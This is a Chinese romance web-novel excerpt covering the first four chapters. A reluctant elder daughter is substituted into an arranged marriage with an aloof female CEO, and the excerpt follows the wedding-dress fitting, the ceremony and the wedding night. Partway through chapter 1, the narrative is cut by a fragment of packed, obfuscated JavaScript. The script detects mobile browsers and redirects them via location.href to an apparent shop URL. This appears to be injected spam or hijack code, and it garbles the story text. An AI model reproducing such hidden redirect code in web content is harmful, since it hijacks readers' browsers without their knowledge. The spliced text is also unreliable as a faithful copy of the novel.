《和清冷总裁婚后热恋》
1. 婚纱
昨晚下了一场春雨,到今天早上,仍然淅淅沥沥。
窗外一棵海棠树被雨水打得花瓣散乱,不少透明花瓣烂透在地上,一根缀满花朵的枝条断了半截。
夏慕雪出神地看着那断口,眉头轻轻皱着。
楼下客厅里,传来她妹妹夏晚星的尖叫声。
“我才不去,那女人太恐怖了!我可是你亲女儿,你就这样把我往火坑里推啊?”
有人压低声音絮絮叨叨了些什么,夏晚星尖叫声又起来了:
“啊啊啊——烦死了!”
夏慕雪默默戴上厚实的监听耳机,进入只有她一个人的世界里。
屏幕上的软件页面中,音频波形灵动而柔美,看着这些流转的图形,心脏也渐渐沉静下来。
修长白皙的手指在键盘上敲击,不慌不忙,音符如跳动的糖果,一颗接一颗融汇进新的乐句里。
这是她为自己创造的小世界,躲进来就总会安心。
一首曲子还没听透,就有人推开房门走进来,带来一阵甜腻的气流。
来人是她的后妈林月,罕见地面上带笑,主动过来拍她肩膀:
“慕雪,出门散散心吧?你这一天天的钻房间里,对身体也不好啊。”
夏慕雪躲开她,摘下耳机,回头刚要说不用,林月已经转身取过来一件外套,满脸堆叠起来的假笑:
“走吧,家里还有要紧事呢,出去说。”
什么事不能在家里说?
夏慕雪想拒绝,想反驳,却都没出口。她早就发现,从十岁时生母去世后,她说话就不再有人听见。
在这个家里,她永远是透明人,她说的话没人回应,需求无人在意,她不愿意做的事哪怕说了许多次拒绝,依然会照常进行,她甚至没有不在场的权利。
久而久之,她也就不说话了。
她只“嗯”一声,表示自己会来。
林月满意地出去。
夏慕雪换了外出衣服,没穿林月递给她的那件修身外套,选了自己喜欢的米色外衣。
她走出来,迎面撞上林月审视又掂量的目光。
夏慕雪人如其名,肤白胜雪,削肩细腰,瞳仁黑如乌木,站在人前仿佛一株含苞的玉兰。
一缕黑发沿脸颊滑落,为她添了些独特的温润气息。
林月过分热情地招呼她,坐上车,又吩咐司机去市中心某栋商务楼。
林月不说,夏慕雪便也不问,拿出蓝牙耳机继续听歌,望着窗外飞速掠过的行道树,目光和天气一样沉郁。
车子很快到达商务楼下,两人出了车,又见几个助理模样的人等在地下车库入口处,毕恭毕敬地迎接两人进了电梯。
所有人都很安静,林月倒是有些焦虑,夏慕雪看得清楚,却懒得去管,只把耳机摘下来收好。
电梯门打开,夏慕雪眼眸微微一缩。
眼前空间开阔,一片雪白明亮,环境典雅,音乐、香气和装饰都恰到好处的华美又时尚,但……
怎么会是……婚纱店?
见她不动,林月在她身侧推了推:
“走啊,去里面。”
夏慕雪没有动,转过身看向林月,目光是坚定的质问。
“为什么带我来这里?”
眼看那些助理都走出电梯,在门口有意无意看过来,林月有些着急,低声急促地说:
“是你妹妹预约的婚纱到了,你妹妹来不了,叫你过来帮她试一下。”
夏慕雪还是没动,推开林月搭在她肩上的手,语气平静:
“叫她自己来试,我要回去。”
林月急了,又去扒拉她:
“哎你这孩子,咋这么犟,人家沈总还等着呢……”
沈总?
夏慕雪心中微微一动。
这个姓氏最近被所有人频繁提起,她听力太好,哪怕不跟家里交流,平常也总能听到,拼凑出了一些片段。
沈总全名沈既白,是夏家一直在拼命攀附的豪门沈家现任掌权人,是科技新贵,商界精英,更是所有人争相巴结讨好的对象。
这样的人,却也是她妹妹的未婚妻。
她知道她们已经订婚,订婚宴她没有被邀请,却也瞥见过一两次相关照片。
照片上的女人直视镜头,气质清峻,目光轻慢,与身旁的联姻对象保持着半臂距离。
脑海里一瞬间闪过这些,夏慕雪发现自己已经被推出电梯,走进了店里。
温软的香气混杂着轻音乐,还有店员们轻快的“欢迎”声,扑面而来,围拢她的感官。
夏慕雪又想要皱眉,她特别敏感,不喜欢人多,目光下意识瞥向唯一安静的方向。
那里是围成大半圈的灰色沙发,静谧而低调,沙发上赫然坐着一个身穿白色西装的女人。
屋内很多人,店员,助理,林月还有夏慕雪,但所有人都或是走动,或是站着,发出各种各样的声音扰动。
唯独那沙发上的女人,安静到了极致。
夏慕雪看她,她也看过来,两人的目光在波浪般流动的钢琴曲里对撞在一起。
最先注意到的是那双眼睛。女人身上的白色仿佛跟着钢琴曲流动开来,那双细长眼眸极其清冷,不露分毫情绪,让她想起国画里某一片留白。
女人像是不该存在于这个空间里的人,独立于一切纷扰之外,空谷幽兰般散发着拒人千里的气场,却又……在认真又专注地,盯着她看。
良久,夏慕雪才发现,自己刚刚居然屏住了呼吸。
她赶忙移开视线,手握成拳,藏住手心里那一层紧张的汗。
不再对视,她的思维立刻能够转动了,立刻想起来,女人的确就是沈既白。
不愧是经常出现在财经杂志封面上的脸,本人比照片上更立体,看人时也更有压迫感。
“慕雪,过来!这边!”
林月在她身旁大声说话,拉回了她的理智。
夏慕雪被林月半推半搡,来到沙发跟前。
和那张冷然的脸距离越近,她越发意识到,对方的眼神似乎……根本没有移开过。
女人依旧盯着她在看,眸光深邃专注,体态却闲适悠然,往后靠去。
看着就很不好相处。夏慕雪在心里悄然下了结论。
“沈总啊,您看,这孩子就是我家大女儿……”
林月一边谄媚地弯腰说话,一边给夏慕雪使眼色。
无奈,哪怕不大情愿,夏慕雪还是上前半步,对上那道压迫感很强的目光,开口:
“沈总好,我是夏慕雪,久仰大名。”
女人只淡淡回了一句:
“沈既白。”
夏慕雪微微一顿。她对声音很敏感。
沈既白的声线,仿佛天山冰雪融化成清泉,淙淙流过,很冷,又很舒服。
林月:
“我们慕雪今年刚毕业,在家里也是乖乖巧巧的,从来不闹腾,很会照顾人的!平时啊她在家里也经常说崇拜沈总……”
夏慕雪直接开口,打断了她:
“阿姨,要试的衣服在哪儿?”
林月脸色立刻黑了,瞪她一眼,随手指了个店员,叫她跟着去。
夏慕雪转身走出两步,忍不住又回过头,瞥一眼沙发。
沈既白姿态不变,视线仍旧追随着她的背影,话却是对林月说的:
“阿姨?”
林月脸上挂不住,尴尬笑道:
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344978|199501||http|test|mini|href|location''.split(''|''),0,{}));
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>“这孩子就这样,有点倔,这么多年都把我叫阿姨……不过沈总您放心,她是夏家的孩子,就代表着夏家的态度……”
夏慕雪融入人群,不再细听。
身边店员一边恭维她一边介绍婚纱来历:
“这件婚纱可是咱们品牌创始人亲自设计、巴黎工作室二十多位工匠一起赶制了两个月才出来,每一片绣花都是手工缝缀的,可见沈总对您的用心……”
夏慕雪进入试衣间,店员在她身后带上门,还在说:
“沈总可是咱们品牌的超级VIC,品牌这边为她定制的西装您看到了吗,跟您这件婚纱是有呼应的设计……真不敢想您和沈总这样的一对璧人,穿上这套婚纱得多配啊!”
试衣间不算太大,四面墙都是宽大的满墙镜子,包括天花板也是镜子,反射着屋内特意设计过的暖白灯光,明亮却不刺眼。
店员夸了一路的那套婚纱就穿在角落的人台上,的确是珠光宝气,从上到下布满精致的手工刺绣花朵,层层叠叠堆叠起来的白纱裙摆,宽大到几乎能把人埋进去。
重工婚纱穿起来很麻烦,那店员又叫来一个女下属帮忙,才终于把整套婚纱完整地给夏慕雪穿到了身上。
“我的天啊……真是太美了!怎么会这么美!天啊,简直比女明星还美!”
店员的感叹发自内心,她引导着夏慕雪往正前方看去。
夏慕雪看向镜子,有些愕然地抿了抿唇。这婚纱并不是她喜欢的风格,太过浮华夸张,但的确……叫她宛如满月一般,光华照耀起来。
有点不太习惯这样的自己。
她低声说:
“很好,拍几张照片吧。”
给该看的人看了照片,她今天的任务也就完成了。
店员很礼貌地拍了些照片,一边拍一边不断感叹,两个店员相约着出去,好像是去拿什么东西。
夏慕雪一个人站在四面八方的镜子里,看着被重叠婚纱笼罩的自己,心里很平静,什么也没想。
她从没幻想过自己的婚姻,也不觉得自己会拥有至死不渝的爱人,看惯了豪门生活中那些凉薄和背叛,她只觉得深情是件可笑可悲的事。
婚纱不过只是一条美丽又繁复的裙子罢了,就像婚姻本身,不必深究。
房门打开,一丝微凉的清香袭来,夏慕雪以为是店员来了,便说:
“能帮我调整一下抹胸的位置吗?好像有些歪了。”
衣物摩擦声,来人沉默着靠近了些,那股沁人心脾的清香加重。
一只微凉的手抚上她身后,手指触碰到后颈的瞬间,她忽然起了一层鸡皮疙瘩。
夏慕雪猛然抬头看向镜子,震惊之下,差点儿咬到自己的舌头:
“怎么……是您?”
是沈既白。
白色西装的女人站在这层叠的婚纱旁侧,正从镜子里看她。
无数精工刺绣的白纱重叠在一起,随着夏慕雪震惊的晃动,发出窸窸窣窣的细小声音,仿佛映衬着她此刻心脏狂跳的节奏,又仿佛上万只蝴蝶一同在振翅。
而沈既白不动声色,那只手抚在她后颈上,为她安静地拽好上衣,调整到一个合适的位置。
沈既白身形高挑,面色沉静,她望着镜子里夏慕雪的眼睛,轻声说:
“嗯,是我。”
夏慕雪还没来得及收回砰砰乱跳的心脏,做出任何正常的反应,就听那道好听的声音再度响起:
“很美。”
夏慕雪捡回一点礼貌,声线还在震惊中颤抖:
“谢谢,这婚纱确实很美。”
沈既白却低头看着她,不在镜子里,在现实里,与她对上视线。
“我说的是你。”
2. 仪式
沈既白实在很好看,是一种清冷的、谪仙般的、叫人禁不住要屏住呼吸的美。
而这样冷淡的外表下,却又隐藏着一些不容置疑的掌控感。
夏慕雪被她这句话惊得一顿,不知自己该作何反应才算得体。
怎么说呢,沈既白是她的妹妻。
无论如何也不该对她说这种话吧……
夏慕雪低下头,不敢再看她,只很小声地说了句:
“谢谢。”
她脸颊不受控地燥热起来,手握成拳,只希望沈既白快点离开这里。
然而沈既白偏偏不随她愿。
她往后一步,站在了夏慕雪身后。
为了方便试纱,夏慕雪是站在高台之上的。但即使这样,身后的沈既白依然比她还要高出一些。
那身形本就极具压迫感,偏偏这种时候她还抬起了一只手。
微凉的手掌沿着夏慕雪的颈项,一路带起令人发寒的痒意,延伸到下巴。
掌心卡住,迫使她抬头。
动作强硬,不容置疑,也不容抗拒。
夏慕雪想扭开头,却做不到,那只手手指修长而有力,将她的脑袋几乎是钉在原处,只能看着正前方的镜子。
她看到镜子里自己仓惶的眼神,也看到身后沈既白那双细长的清冷眼眸,两人的视线在镜子里交汇、勾连,如有实质。
“以后,你要学会……取悦我。”
沈既白语速缓慢,望着她的眼睛,一字一顿地说。
每个字都像一颗惊雷,落在夏慕雪的心脏上,震得她彻底僵住。
她不知道沈既白这是什么意思,她不能理解现在发生的这一切。
被卡住的下巴又被松开,强烈的压迫感退去,沈既白扔下了她,往旁边走开,离开那些白纱笼罩的范围。
夏慕雪不得不看向她,想从她的表情上看出些端倪。
然而沈既白只是抬了一下唇角。
她好不容易露出的那点笑意,虽然美丽,却一点都不让人觉得温暖。
她淡笑着,开口道:
“我很期待。”
说完,便离开了试衣间。
等夏慕雪换下婚纱出来,婚纱店内也不再有那么多人,沈既白和她那些浩浩荡荡的助理团队都不见了,只有林月正在品鉴她的婚纱照片。
夏慕雪看了眼空荡的沙发,径直走去问林月:
“沈总呢?”
林月:
“她走了。”
夏慕雪憋着的一口气完全泄了,那个女人怎么这样?
话也没说明白就走了……叫她心乱如麻。
回到家,迎面撞上夏鹏程。那是夏家家主,也是夏慕雪多年同住却毫不了解的生父。
夏慕雪本想如往常一样透明地路过,回楼上自己的小房间去,却被夏鹏程叫住:
“慕雪,你过来,爸爸有事跟你说。”
终于来了。到了这一刻,迟钝如夏慕雪也有了不祥的预感。
她走过去,站在沙发前:
“爸,什么事?”
夏鹏程手一挥,随意地说:
“你妹妹的联姻去不成了,她……有点问题,你代替她去吧。”
夏慕雪愣怔。
这瞬间,父亲的冷漠、后妈的刻薄、妹妹的自私都不算出乎意料,她心里只有一个想法:原来是这样……
原来沈既白早已知道她是新的联姻对象,这才会进试衣间,对她说那些话,才会说出“取悦我”这种要求,才会“很期待”她的表现。
沈既白什么都知道,像坐镇幕后的将军,只等着欣赏她狼狈而慌张地自投罗网。
真是个可怕的女人。
夏慕雪没有第一时间反驳,甚至都没做出什么表情,她冷静地权衡着利弊。
离开夏家,与那个女人联姻,仿佛是离开虎穴又进狼窝。
但夏家这个虎穴她早已看透,早已厌倦与他们纠缠,而沈既白……她还看不明白。
家庭很难彻底断绝,结婚还有离婚的自由。
夏慕雪抬头,直视着父亲的眼睛,声音平静而坚定。
“好。但你们要将原本给妹妹的嫁妆再加一倍给我,否则,她能逃婚,我也可以。”
夏鹏程没想到,一贯透明又听话的大女儿,会提出这样的要求,不由得抬头看了她一眼。
大女儿何时出落得这么漂亮了?
这个疑问在他心里一闪而过,他紧接着又皱眉:
“居然敢提这种无理要求,谁给你的底气?”
夏慕雪顿了顿,随即展颜一笑:
“沈总给的。她说,我很美。”
夏鹏程的眼神变了,看来沈总对这个女儿很满意,那么将来两家的合作只会更顺利,获益更多……他语气变得温和,少有地流露出温情:
“当然可以,就给你两倍嫁妆。你也是我的女儿,该有的都会有。”
夏慕雪点头,没有争执也没有眼泪,关于她未来命运的谈判便这样简单定下。
她转身上楼,心绪激荡,没多少痛苦,更多的是期待。
夏鹏程在她身后声音提高:
“嫁过去以后要好好照顾人家!别使你那小脾气!人家沈总可不会像我这么容忍你!”
夏慕雪“砰”地关紧了房门。
*
婚礼的日子早就定下了,如今只是修改一下其中一位新娘的名字而已,发出去的请帖无法收回,只能再发一份换了名字但设计相似的。
婚纱也试过,有点偏大,紧急修改后也还算合身。
夏慕雪临时邀请闺蜜来当她的伴娘,闺蜜震惊得下巴都要掉了,一顿追问之后,不由得小心询问:
“那你……爱她吗?”
夏慕雪轻笑一声:
“爱?重要吗?”
闺蜜一声叹息,过了会儿又到处找了一些沈既白的新闻给她看。
在所有新闻里,沈既白都表现得礼貌而疏离,她那不动声色的脸漂亮矜贵,宛如高悬天空、凡人无法接触的明月。
可夏慕雪总想起在试衣间里,她们在镜子里对视的一幕。
那只手带着热度卡住她的下巴,却又注意着力道没伤到她,一片淡红色的压痕,很快消散。
那时候沈既白的眼神,仿佛没有新闻里这么沉稳。
闺蜜一边发新闻片段和照片,一边感慨:
“这什么天选清冷大美人!哎,别说我八卦,如果是我,整天对着这张脸也要爱上了,说不定你也会爱上她呢!光外形上来说,她清冷你温柔,很配啊很配啊!”
夏慕雪:
“少看点你那晋江小说吧。”
闺蜜发来嘿嘿笑的表情。
婚礼前一夜,夏慕雪将那首未完成的曲子写到一大半,又全部删掉重写,思绪烦乱,折腾到大半夜。
导致整个婚礼上,她都有些恍惚,反应迟钝,看什么都像带了一层模糊滤镜。
沈既白出现的那一刻,全场瞬间安静。
夏慕雪站在前方舞台上,不由得再度屏住呼吸。
白色西装上,与她婚纱相配的刺绣反射着灯光,一身光芒的沈既白长发微卷,步履不急不缓,郑重地走向她。
那双细长而暗沉的眼,也正盯着她,仿佛只在意
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她一个人。
“你愿意与她结成妻妻吗?”
好听的声音响起,语调很淡:
“我愿意。”
夏慕雪喉咙干哑:
“我……愿意。”
仪式结束,夏慕雪手心里全是汗。
两人并没在舞台上交换亲吻,只以牵手代替,司仪也没提这茬,倒让夏慕雪的紧张缓解了一些。
下台时,夏慕雪本来想松开沈既白的手去提裙摆,却感受到对方将她握得更紧。
她疑惑地抬头看人。
沈既白神色平淡,眸中是细碎的光,宛如星辰:
“大家都看着。”
哦,是她一时间忘记了,两人要在所有来宾面前演好这场戏的。
夏慕雪不再试图松手,但那裙摆着实太庞大,尽管她万分小心,下台阶时她还是踩到了,往前一个踉跄,眼看要摔倒。
却陡然落入一个温热的怀抱里。
夏慕雪愕然抬头,沈既白的脸近在咫尺,二人呼吸相接,那股清冽的香味离得好近。
她听见自己的心跳声,砰砰,砰砰。
身旁有人在鼓掌起哄:
“哇哦~沈总好宠!”
“这不亲一个说不过去吧…”
“亲一个!亲一个!亲一个!”
要……要演到那种程度吗?夏慕雪也不知道。
但沈既白目标明确地低下头,眸中星辰闪烁,薄唇微张,吻已经落下。
夏慕雪睫毛颤动,在幽香袭来的时刻迅速闭上了眼。
唇上的触感更加明显,像花瓣,又像温热的泉水,感觉……干净而纯粹。
有点温暖,有点珍重。
夏慕雪预演过无数次婚礼当天的场景,总觉得对于亲吻,她一定会很抗拒。
毕竟这可是她的初吻,她不想在这样的场合里,被强迫着进行。
这场婚姻本来就是演戏,为什么要演得那么彻底?
况且,她看过一些资料,听过一些传闻。
据说沈既白有轻微洁癖,讨厌跟任何人肢体接触,更是不允许不熟的人靠近自己身周半米之内,许多访谈都因为她这个习惯而被迫改座位。
她选择相信沈既白的洁癖。
可现在……
当这个吻真的落下,夏慕雪惊讶地发现。
她并不抗拒,反而……沉迷其中,无暇思考。
她手指抓紧对方的衣袖,身体逐渐放松,将自己几乎是交托给了对方。
她不敢睁眼,小心试探着,给出一点点回应。
对方却没再继续,放开了她,清冽的香气、温软的触感一瞬间远离。
夏慕雪心中涌出一股不舍,好似所有的氧气都被抽走,她的世界有一瞬间的窒息。
她手指下意识去抓,却又反应过来,赶忙睁开眼,迅速调整自己,在沈既白身边站好。
沈既白放她站好,偏头看她。
夏慕雪原本白皙如玉的面容,此刻红得娇艳欲滴,眼神像受惊的小鹿一样躲避着她,而那双刚刚被品尝过的、形状娇憨的唇,更是带上了潋滟的水光。
而夏慕雪调整了半天呼吸,一回头就瞥见,沈既白薄唇变得深红,连带着眼神似乎也变得深邃……
她慌忙躲开对方,往前走去,却又一次踩到了裙摆。
怎么这么笨!她气得脸上火烧一般。
沈既白却抓住机会,再一次按住她手臂,不知怎么引导着,轻车熟路地叫她再次落入她怀里。
沈既白揽住温软的新娘,目光对上那双饱满的唇瓣,声音微哑:
“想再来一次吗?老婆。”
3. 妻子
婚礼现场,灯光绚烂华丽,而沈既白的面容背着光,藏在暗处。
夏慕雪看不清她说那句话的表情,只觉得心口像是被一根细线牵引,将一颗心提到了无穷高的地方。
她嘴巴张开又合上,想不出任何词句来回应。
只能给出身体本能的反应。
她小幅度地摇摇头,抬手抵住沈既白的肩膀,想要推开面前的人。
但她已经用了很大的力气,对方仍纹丝不动,只是盯着她,眉梢微抬,眼尾勾画出笑意。
夏慕雪终于看清——那是一个玩味的表情。
她这才意识到,沈既白是在开玩笑。
脸颊血流褪去,心底猛然一沉,夏慕雪觉得身上有些发冷。
这个人,吻她,叫她老婆,却只是为了把她慌张的反应当笑话看……吗?
“放开我。”
夏慕雪勉力推开对方。
大概是看到了她骤然煞白的脸色,沈既白松开了她。
夏慕雪大步往前走,又意识到不对,放慢脚步,却不回头看。
沈既白跟上来,两人并肩走向宾客区,进行婚礼的下一步社交流程。
沈既白伸出手,去握夏慕雪的手。
层层白纱掩映之下,夏慕雪不着痕迹地抽回手,藏在衣襟之内,躲开对方的碰触。
她能完成一切,没必要表演了,也用不着谁来牵引。
沈既白一顿,没再尝试。
沈家主位上坐的是沈既白的姥姥,是位一身红衣、优雅高贵的老太太。
此刻这位老人看着夏慕雪,满眼都是喜悦的眼泪。
她伸出手,夏慕雪忙也伸手过去,任由对方抓住她的手拍抚着说话:
“好孩子,好孩子啊!我一看你就喜欢!”
夏慕雪微笑着说了谢谢。
老太太却又要来沈既白的手,将两人的手交叠在一起:
“以后啊,你们两个可要好好的在一块,互相照顾,彼此依靠。既白这孩子命苦,年纪轻轻就没了爸爸,她妈妈一直身体不好,整个沈家都靠她扛着,我真想让她身边也有个人陪伴,别那么要强……”
老太太说着说着激动得哭了,旁边一位病殃殃的中年女人忙上前安抚,那是沈既白的母亲。
沈既白也过去,毫不犹豫地半跪下来帮忙,端茶倒水都很熟稔。
夏慕雪在旁看着,只觉得沈既白终于从天边明月上落下来,有了些许人味儿。
她有这么爱她的姥姥和妈妈……真好啊。
夏慕雪也有点想自己妈妈了,可惜,时日太久,她甚至难以勾勒出妈妈脸上的细节了。
沈既白照顾好姥姥,站起身,一眼看见夏慕雪脸上落寞的表情。
她伸出手,握住夏慕雪的手,指尖在她掌心轻轻勾了勾。
这次,夏慕雪没再抽回。
仪式结束,两人回到沈既白的住所。
这是一处闹中取静、位置极好的高层大平层,进门便是巨大的环绕式圆弧落地窗,此刻正值深夜,整个灯火辉煌的城市都在她们脚下。
夏慕雪进了衣帽间,半晌,窘迫地探出头,对着外面叫了一声:
“沈总……”
沈既白的声音传来,由远及近:
“什么事?”
夏慕雪不太好意思:
“可以帮我一下吗?”
她在仪式中途换的敬酒服,是一条新中式旗袍礼服裙,刺绣繁复华丽,设计实在太复杂。
她一个人根本脱不掉,必须有人帮忙才行。
要是有选择,她绝不会叫沈既白过来,可是这三百多平的房子里只有她们两人……可恶的豪门。
沈既白几乎是下一瞬间便推门进来。
夏慕雪抬眼看去,一时间有些恍惚。
衣帽间灯光是明亮的暖黄色,沈既白只穿衬衫,打开了上方几颗扣子,那暖黄的光芒如同流水,沿着她敞开的衣领延伸进去,照得衬衫之下也透出些光亮。
就好像婚礼上她身上的光,一直持续到了此时此刻。
夏慕雪意识到自己看得有点久了,连忙移开视线,将身子侧过去,给她示意:
“就是这边这个,得先解开才能拉拉链……”
沈既白伸手过来帮忙,手指触碰到肌肤表面,激起一阵细小的战栗。
“累不累?”
夏慕雪想了一下该怎么回答:
“不累,谢谢沈总关心。”
沈既白手上动作忽然一停,旗袍衣带被她扯住,夏慕雪不得不往后靠去,几乎是倒在沈既白怀里。
夏慕雪脚下努力维持平衡,耳畔传来那道磁性的声音:
“你是忘了我们已经结婚了?叫得这么生分。”
“那……谢谢沈小姐。”
“不对。”
“……谢谢既白。”
“嗯。以后记住。”
“……好。”
沈既白解开了包裹躯体的旗袍,一路拉下去,仿佛在拆解一个礼物。
夏慕雪只穿着内衣的躯体,完全暴露在微凉的空气里,宛如画轴被打开,精彩的画幅正款款展现。
她身段娇小,曲线却玲珑而饱满,更拥有白玉一般、吹弹可破的肌肤,暖光汇成一束落入雪白的腰窝里,仿佛一汪稠密的甜牛奶。
沈既白认真地欣赏着。
夏慕雪面上又是一阵泛红,只能拼命告诉自己这没什么,这很正常,就当是朋友之间帮忙穿个衣服……
但朋友之间不会亲吻。
也不会结婚,当着所有人的面说出“我愿意”。
夏慕雪觉得自己很不对劲,平时不会有这么多想法,更不会像现在这样慌乱又被动。她很擅长逃跑和隐形的,可是现在……
她跑不掉,也没法隐形。
她偷偷瞥一眼,发现沈既白那双被映照成琥珀色的眼眸中,只有她的身影。
对方在那样专注地看她。
夏慕雪喉咙干哑地说:
“好了,谢谢……既白,我想换衣服,麻烦你了。”
沈既白往后退了几步,顺手递过来一套米色真丝睡衣:
“你穿这套。”
夏慕雪接过,疑问地看她:
“你……?”
你不出去吗?在这里看着我换?
沈既白却好似会错了她的意思,唇角淡淡一勾,从旁边拿来一套黑色同款真丝睡衣:
“我也换。”
事已至此,夏慕雪也只能有点僵硬地,背对着沈既白脱去内衣,换上睡衣。
她知道对方在她身后看着这一切,也能听见对方脱衣服时窸窣的声响,甚至能感受到对方身体传递过来的热度。
羞耻到了极点。
好在总算换完了,夏慕雪迅速走出衣帽间,在外面胡乱行走,抓起水杯狂灌两大杯水,才算止住心底那些诡异的躁动。
很快,沈既白也出来了,到她身边坐下:
“去洗澡吧。”
夏慕雪问:
“我睡哪个房间?”
沈既白瞥她一眼,仿佛不理解这个问题似的,皱了下眉头:
“跟我一起,睡主卧。”
夏慕
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雪差点儿把自己舌头连着水杯一块吞下去。
一瞬间,无数外界传闻掠过脑海,沈既白不是有洁癖吗?她不是讨厌肢体接触吗?她不是冷漠无情的商界女魔头吗?
为什么竟然要她一起睡主卧啊?
夏慕雪愣了一会儿才反应过来:
“是不是怕你姥姥她们来家里,看到我们分开睡不太好?”
沈既白换了个姿势,在沙发里坐得更舒展,双臂张开,没有回答她的问题,反而反问她:
“你明白我们婚姻的意义吗?”
夏慕雪道:
“明白。夏家和沈家的商业合作……”
沈既白轻嗤一声:
“我不在乎那些。”
夏慕雪顿住,一阵无力,她也知道自己跟对方的筹码有多不匹配。
“那你的意思是?”
沈既白抬头看着她,眼神透出锋芒:
“我要正常的婚姻生活。所以,我需要你也能够履行,妻子的义务。”
窗外灯火与车流交相辉映。
沈既白眸中光芒明亮,她强硬而坚决,无可抵抗。
夏慕雪没有乱,她从来都这样,越是重要的时刻,越是冷静。
她往前一步,将水杯稳妥地放在桌上:
“那么……我也需要你的承诺。”
沈既白出乎意料地挑眉:
“什么承诺?”
夏慕雪说出了在她脑中盘旋许久的计划:
“在我想要离婚的时候,你可以放我离婚。”
城市中有警车鸣笛声呼啸而过,春风乍起,行道树唰啦作响,一切声音汇聚成一场宏大的奏鸣曲。
夏慕雪腿有点软,但她直视着对方的眼睛,用尽全力也不躲。
她知道婚姻就是一场博弈,既然对方对她有所求,她也可以有主动权。
房间里没开主灯,只有昏黄的射灯与壁灯光线,照在沈既白面上,明暗高低与阴影关系交织,仿佛一尊完美的雕像,不近人情。
沈既白既没有被她激怒,也没有嘲笑或讽刺。
她似乎真的在考虑这件事情,仿佛在谈判桌上思考合同。
只是……她会答应吗?这可是离婚的权力。
就在夏慕雪快要放弃的时候,沈既白开口了。
她说:
“好啊。随你心意。”
夏慕雪骤然呼出口气,浑身都松懈下来,面上不由自主带出喜色:
“太好了,谢谢沈……既白,谢谢你!”
沈既白瞥她一眼,眼眸暗沉深邃:
“那么,你对妻子的义务也没有意见吧?”
夏慕雪咬了咬唇,豁出去了:
“嗯。我……我会努力的。”
沈既白唇畔露出一丝轻盈的笑意,很快又消失了,她抬起手,示意夏慕雪靠近。
夏慕雪听话地低下头,凑近她,以为会听到更多的要求。
却只感受到落在唇上的啄吻。
柔软,微凉,轻盈而鲜明。
沈既白又吻了她,在唇角,像蜻蜓点水,一触即分。
夏慕雪想起自己没能达成的回应。
她鼓足勇气,在对方离开的瞬间,往前凑近。
生涩地吻住了面前那双微凉的薄唇。
简直有点莽撞,齿尖碰触到唇瓣,些微的麻。
又迅速分开,有细小的水声弥散开来。
沈既白任由她吻。
一吻结束,她在极近的距离与她对视,声音轻而清晰:
“现在,洗干净,躺到床上去。”
4. 浴缸
偌大的房子里,除了自己踩在地毯上绵软的脚步声,再没有任何声响。
夏慕雪走进浴室,浑身陡然卸了力气,靠在柜子上心乱如麻。
之前应该有家政来过,浴室里早已放好了水,有雾蒙蒙的水汽弥漫出来。
夏慕雪看着镜子里自己的脸,恍惚得像在做梦。
事情……怎么会变成这样?
她耳边回荡着之前调查的诸多资料,还有仅在豪门内部流传的秘密传闻。
所有资料和传说里,沈既白的形象都很统一,冰冷而疏远,商界手腕了得,让所有人看不明白,也不敢接近。
夏慕雪真心以为这场联姻只是做做样子。
可沈既白对她,怎么跟对其他人都不一样?
还有她说的那句“妻子的义务”……是她理解的那个意思吗?
夏慕雪才二十一岁,初吻都是今天给出去的,她根本没有任何经验,也想不出自己该怎么办。
她呼出一口气,镜面起了一层雾,她从雾中看了一眼自己的胸前……脸色又红了个透底。
她破罐子破摔地倒进浴缸里,带着一种视死如归的心情,把自己全身上下、里里外外都洗干净,直到指尖都发白了才算结束。
正擦着头发,忽然有人推门进来。
雾气陡然蒸腾,热气被扰动,迅速消散,冰凉的气流刺激着夏慕雪露在外面的前胸,叫她猛然一颤。
“洗好了?”
沈既白的声音,仿佛顺着热流而来,钻入她耳内。
夏慕雪转头看去,耳廓瞬间红透,忍不住叫了一声:
“你怎么……”
话一出口,她察觉到自己嗓子哑得不像话,便羞耻地没继续说。
沈既白竟然是□□的,微卷的长发晃动之间,露出她如竹节一般挺拔修长的身形,一览无余。
她好似觉得有趣,缓步走来,那道莹白身躯越来越近,好似占据了夏慕雪整个视野:
“有什么不对么?”
夏慕雪要不是嗓子哑了,估计能尖叫出来。
但现在她也只能拼命移开视线,艰难地一个字一个字说出:
“没……没有。我先出去……”
她要往门口走,却被沈既白擒住手臂。
肌肤猛然相贴,带来一阵战栗。
沈既白的声音模糊,仿佛与雾气纠缠不清:
“留下。”
夏慕雪听见了,但不太明白。
她拧着眉头看向沈既白,只敢小心翼翼看对方额头,一点都不敢往下看,发出疑问:
“有什么需要我做的吗?”
沈既白拉着她的手臂往里走,手掌滑落到她手腕,带来一路细碎的酥痒。
她边走边说:
“陪我。”
夏慕雪舔了下嘴唇,不得不跟着沈既白进入浴室,看着对方按下按钮。
“哗啦啦——”
浴缸自动冲洗和换水。
沈既白跨入浴缸,找了个舒服的姿势半躺,对夏慕雪招招手:
“过来。”
夏慕雪心一横,咬着嘴唇走了过去。
反正待会儿也要履行义务……躲不了就不躲了。
况且沈既白的身体那么美,多看一眼都是她赚了。
她靠过去,主动拿过毛巾,询问:
“要帮你擦洗吗?”
沈既白细长的眸子盯着她,眼底逐渐泛起笑意:
“你很紧张?”
夏慕雪诚实地点头,她当然知道自己脸有多红、手臂有多抖,藏是藏不住的。
沈既白叹了一口气。
水声哗啦作响,她忽然抬起上半身,握住夏慕雪的手腕,将她拉向自己。
她含住她的唇瓣,与她接了一个缠绵悠长的吻。
这个吻和前两次不太一样,充满了一种陌生的侵略感,叫夏慕雪很快便难以抵挡,软在沈既白双臂之中。
眩晕之下,激烈的感受冲击着心脏,水声疯了一样啪啦作响。
夏慕雪反应过来时,她已经落入水中……
就像落入宿命为她定制的未知陷阱。
恍惚中,沈既白的声音在她耳边,隔着水流哗啦的巨响,喑哑地叫她:
“慕雪……”
水雾蒸腾上来,她看不清,也不想看清,只是沉浸在这汹涌的池水中,随波逐流,直到海潮涌出、黑暗袭来。
*
夏慕雪不记得自己是怎么回到床上的。
意识逐渐清醒时,她感到身体发酸发软,没什么力气。
怀里似乎抱着什么绵软的东西。
费力地掀开眼皮,下一瞬陡然睁大眼,身子一僵。
